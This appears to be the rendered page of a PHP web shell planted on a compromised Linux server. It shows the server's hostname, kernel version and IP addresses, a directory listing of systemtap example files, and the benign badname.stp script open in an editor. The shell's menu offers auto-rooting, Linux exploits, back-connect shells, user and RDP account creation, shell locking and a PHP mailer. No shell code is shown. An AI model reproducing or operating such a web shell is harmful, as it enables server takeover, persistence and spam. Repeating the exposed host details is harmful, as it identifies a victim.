Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
examples /
general /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
tapset
[ DIR ]
drwxr-xr-x
alias_suffixes.meta
724
B
-rw-r--r--
alias_suffixes.stp
1.04
KB
-rwxr-xr-x
also_ran.meta
605
B
-rw-r--r--
also_ran.stp
769
B
-rwxr-xr-x
ansi_colors.meta
406
B
-rw-r--r--
ansi_colors.stp
716
B
-rwxr-xr-x
ansi_colors2.meta
467
B
-rw-r--r--
ansi_colors2.stp
738
B
-rwxr-xr-x
badname.meta
459
B
-rw-r--r--
badname.stp
1.3
KB
-rwxr-xr-x
badname.txt
126
B
-rw-r--r--
callgraph.meta
388
B
-rw-r--r--
callgraph.stp
212
B
-rwxr-xr-x
callgraph.txt
3.61
KB
-rw-r--r--
click.wav
1.26
KB
-rw-r--r--
cpu_throttle.meta
795
B
-rw-r--r--
cpu_throttle.stp
1.45
KB
-rwxr-xr-x
eventcount.meta
637
B
-rw-r--r--
eventcount.stp
6.77
KB
-rwxr-xr-x
eventcount.txt
1.85
KB
-rw-r--r--
func_time_stats.meta
696
B
-rw-r--r--
func_time_stats.stp
520
B
-rwxr-xr-x
func_time_stats.txt
493
B
-rw-r--r--
grapher.stp
1.26
KB
-rwxr-xr-x
graphs.meta
453
B
-rw-r--r--
graphs.stp
1.46
KB
-rwxr-xr-x
helloworld.meta
298
B
-rw-r--r--
helloworld.stp
57
B
-rwxr-xr-x
key.meta
319
B
-rw-r--r--
key.stp
414
B
-rwxr-xr-x
keyhack.meta
355
B
-rw-r--r--
keyhack.stp
288
B
-rwxr-xr-x
measureinterval.meta
1.54
KB
-rw-r--r--
measureinterval.stp
830
B
-rwxr-xr-x
para-callgraph-verbose.meta
879
B
-rw-r--r--
para-callgraph-verbose.stp
407
B
-rwxr-xr-x
para-callgraph.meta
756
B
-rw-r--r--
para-callgraph.stp
405
B
-rwxr-xr-x
para-callgraph.txt
4.31
KB
-rw-r--r--
py2example.meta
489
B
-rw-r--r--
py2example.stp
761
B
-rw-r--r--
py2example.tcl
79
B
-rw-r--r--
py3example.meta
515
B
-rw-r--r--
py3example.stp
761
B
-rw-r--r--
py3example.tcl
79
B
-rw-r--r--
pyexample.py
832
B
-rw-r--r--
pyexample.pyc
1.06
KB
-rw-r--r--
pyexample.pyo
1.06
KB
-rw-r--r--
regex.meta
504
B
-rw-r--r--
regex.stp
491
B
-rwxr-xr-x
return.wav
6.43
KB
-rw-r--r--
sizeof.meta
499
B
-rw-r--r--
sizeof.stp
496
B
-rwxr-xr-x
sizeof.txt
100
B
-rw-r--r--
sizeof_interactive.meta
816
B
-rw-r--r--
sizeof_interactive.stp
572
B
-rw-r--r--
sizeof_interactive.txt
154
B
-rw-r--r--
socket-events.meta
563
B
-rw-r--r--
socket-events.stp
5.28
KB
-rwxr-xr-x
stopwatches.meta
754
B
-rw-r--r--
stopwatches.stp
957
B
-rwxr-xr-x
tcl-funtop.meta
479
B
-rw-r--r--
tcl-funtop.stp
817
B
-rwxr-xr-x
tcl-trace.meta
364
B
-rw-r--r--
tcl-trace.stp
1.01
KB
-rwxr-xr-x
varwatch.meta
583
B
-rw-r--r--
varwatch.stp
635
B
-rwxr-xr-x
varwatch.txt
2.62
KB
-rw-r--r--
watchdog.meta
922
B
-rw-r--r--
watchdog.stp
447
B
-rwxr-xr-x
whythefail.meta
481
B
-rw-r--r--
whythefail.stp
2.22
KB
-rw-r--r--
whythefail.txt
3.7
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : badname.stp
#!/usr/bin/stap # badname.stp # Prevent the creation of files with undesirable names. # Source: http://blog.cuviper.com/2009/04/08/hacking-linux-filenames/ # return non-zero if the filename should be blocked function filter:long (name:string) { return isinstr(name, "XXXbadnameXXX") } global squash_inode_permission # We really want to probe may_create(). But, may_create() is now # always inlined, and stap can't find its arguments. So, we have to # probe may_create()'s callers. probe kernel.{function("vfs_create"), function("vfs_mknod"), function("vfs_mkdir"), function("vfs_symlink"), function("vfs_link"), function("vfs_rename")} { # screen out the conditions which may_create will fail anyway if (@choose_defined($dentry->d_inode, $new_dentry->d_inode) || @choose_defined($dir->i_flags, $new_dir->i_flags) & %{ S_DEAD %}) next # check that the new file meets our naming rules if (filter(kernel_string(@choose_defined($dentry->d_name->name, $new_dentry->d_name->name)))) squash_inode_permission[tid()] = 1 } probe kernel.function("inode_permission@fs/namei.c").return !, kernel.function("permission@fs/namei.c").return { if (!$return && squash_inode_permission[tid()]) $return = -13 # -EACCES (Permission denied) delete squash_inode_permission[tid()] }
Close